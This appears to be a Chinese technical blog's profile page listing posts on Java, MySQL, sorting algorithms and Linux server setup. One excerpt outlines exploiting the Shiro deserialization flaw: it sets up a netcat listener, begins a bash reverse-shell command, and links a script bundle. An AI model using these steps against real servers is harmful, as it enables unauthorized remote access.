自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(14)
  • 资源 (3)
  • 问答 (1)
  • 收藏
  • 关注

原创 Java的基础数据类型

整数型byte,short,int,long浮点型float,double字符型charBoolean型boolean

2021-07-29 19:31:39 107

原创 shiro反序列化漏洞(简单,详细,附脚本)

第一步:下载脚本正在审核明天补充第二步:Shell工具打开三个窗口备用第三步 第一个窗口执行命令运行如下脚本然后就不要动这个窗口了,等待最后发生奇迹nc -lvvp 8088第四步 获取Bash重新编码的脚本将IP替换成你当前服务器的IP 再将这段代码在下边的网址中重新编码,(注:这个IP换成当前服务器的IP不是要被攻击的那台服务器的IP,8088这个端口和第三步执行nc -lvvp 8088 的端口对应的是一个端口,可以不是8088但是这俩个要一样)bash -i >&

2021-07-28 01:04:43 929

原创 Mysql常用命令

创建用户格式:create user “username”@“host” identified by "password”;本地登录:create user '用户名'@'localhost' identified by '密码';某IP登录:create user '用户名'@'某IP' identified by '密码';所有IP均可登录:create user '用户名'@'%' identified by '密码';创建数据库:CREATE DATABASE IF NOT EXIST

2021-07-17 22:15:27 93

原创 排序算法-冒泡排序(可视化动图)

冒泡排序冒泡排序(Bubble Sort) 最为简单的一种排序,通过重复走完数组的所有元素,通过打擂台的方式两个两个比较,直到没有数可以交换的时候结束这个数,再到下个数,直到整个数组排好顺序。因一个个浮出所以叫冒泡排序。双重循环时间 O(n^2)算法描述比较相邻两个数据如果。第一个比第二个大,就交换两个数对每一个相邻的数做同样1的工作,这样从开始一队到结尾一队在最后的数就是最大的数。针对所有元素上面的操作,除了最后一个。重复1~3步骤,直到顺序完成。算法可视化实现代码算法实现Bubb

2021-07-11 22:02:34 4757 1

原创 Java成神之路(持续更新)

Java语言基础语言基础面向对象接口容器异常泛型反射注解I/OJVM类加载机制字节码执行机制JVM内存模型GC垃圾回收JVM性能监控与故障定位JVM调优并发/多线程并发编程基础线程池锁并发容器原子类JUC并发工具类数据结构字符串数组链表二叉树堆,栈,队列哈希算法设计模式计算机网络数据库/SQL操作系统...

2021-07-11 21:47:16 1364

原创 排序算法-选择排序(可视化动图)

选择排序最简单,也是最没用的排序算法,没用是因为选择排序的时间复杂度高并且还是不稳定的排序方法,项目中很少会用到算法介绍在一个长度为 N 的无序数组中,第一次遍历 n-1 个数找到最小的和第一个数交换。第二次从下一个数开始遍历 n-2个数,找到最小的数和第二个数交换。重复以上操作直到第 n-1 次遍历最小的数和第 n-1 个数交换,排序完成。算法可视化实现代码算法实现 Selection.javapackage sort.selection;import sort.utils.So

2021-07-11 21:43:30 2143

原创 高频Linux命令大总结,建议收藏

关机/重启/注销命令作用shutdown -h now即刻关机shutdown -h 1010分钟后关机shutdown -h 11:0011:00关机shutdown -h +10预定时间关机(10分钟后)shutdown -c取消指定时间关机...

2021-07-11 16:19:07 190

原创 Linux-Centos安装Redis

下载安装包并上传至服务器链接: https://pan.baidu.com/s/1o4-8dDkKycKitKzkEgHCeg 提取码: 8vn1解压安装包tar xzvf redis-5.0.8.tar.gz安装Rediscd redis-5.0.8makecd srcmake install PREFIX=/opt/redis 注:/opt/redis为redis的安装目录,这个目录需要提前创建好移动配置文件到安装目录下cd ../mkdir /opt/redis/e

2021-07-06 23:50:45 56

原创 微服务设计原则

单一职责单一职责原则指的是一个服务只应关注整个系统功能中单独,有界限的一部分。单一职责原则可以版主我们更优雅的开发,更敏捷的交付。服务自治原则服务自治是指每个服务应具备独立的业务能力,依赖与运行环境。在微服务架构中,服务是独立的业务单元,应该与其他服务高度解耦。每个微服务从开发,测试,构建,部署,都应当可以独立运行,而不应该依赖其他服务轻量级通信机制那么轻量级的通信机制应该具备两点:首先是它的体量较轻;其次是它应该是跨语言、跨平台的。例如我们所熟悉的REST协议,就是一个典型的”轻量级通信机制“;

2021-07-06 00:32:56 75

原创 Linux-Centos安装LibreOffice

下载安装包https://pan.baidu.com/s/1_laBbKiWRfL3gTyDE7RlCA 密码:83nh解压压缩包tar -zxvf LibreOffice_7.0.1.2_Linux_x86-64_rpm进入目录cd LibreOffice_7.0.1_Linux_x86-64_rpm安装yum install RPMS/*.rpm其他如果LibreOffice转换附件会发生宕机,可能是缺少依赖,尝试执行yum install cairoyum install cu

2021-07-05 00:45:47 288

原创 什么是微服务(描述,特点,优点,挑战)

Martin Fowler在他的博客中试试这样描述微服务的In short, the microservice architectural style is an approach to developing a single application as a suite of small services, each running in its own process and communicating with lightweight mechanisms, often an HTTP resour

2021-07-04 23:45:06 411

原创 Centos 交换分区配置

在根目录生成swap文件,count设定块数,bs设定块大小,生成2G的swap代码如下:dd if=/dev/zero of=/swapfile count=2048 bs=2048k设置交换分区,注意路径和上面的一致mkswap /swapfile挂载交换分区,路径依然一致swapon /swapfile开机挂载交换分区/swapfile swap swap defaults 0 0echo “/swapfile

2021-07-04 22:27:15 232

原创 Linux-Centos安装Nginx

下载Nginx安装包链接:https://pan.baidu.com/s/1djGhKit3UUHPMiRBxV6AwA 提取码:9tbp解压安装包并进入安装包tar -zxvf nginx-1.18.0.tar.gzcd nginx-1.18.0安装Nginx./configure --prefix=需要安装到那个目录 --with-http_stub_status_module --with-http_ssl_module --with-stream执行安装make &&

2021-07-02 00:15:15 50

原创 JVM内存结构

线程私有区程序计数器(线程私有)记录正在执行的虚拟机字节码指令地址,次区域是唯一一个在java虚拟机规范中没有定义任何OutOfMemoryError情况的区域Java虚拟机栈描述的是Java方法执行的内存模型,每个方法在执行的同时会创建一个栈帧本地方法栈它与虚拟机栈发挥的作用是类似的,它们之间的区别不过是虚拟机栈为虚拟机执行java方法(也就是字节码)服务,而本地方法栈则为虚拟机使用的Native方法服务。线程共享区Java堆被所有线程共享的一块内存区域,也是Java虚拟机所管理的

2020-12-07 00:13:05 83

shiro反序列化脚本.zip

需要用到的俩个文件 ysoserial-master.jar 和 poc.py

2021-07-28

redis-5.0.8..tar.gz

redis-5.0.8..tar.gz

2021-07-06

LibreOffice_7.0.1_Linux_x86-64_rpm.tar.gz

LibreOffice_7.0.1_Linux_x86-64_rpm.tar.gz

2021-07-05

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除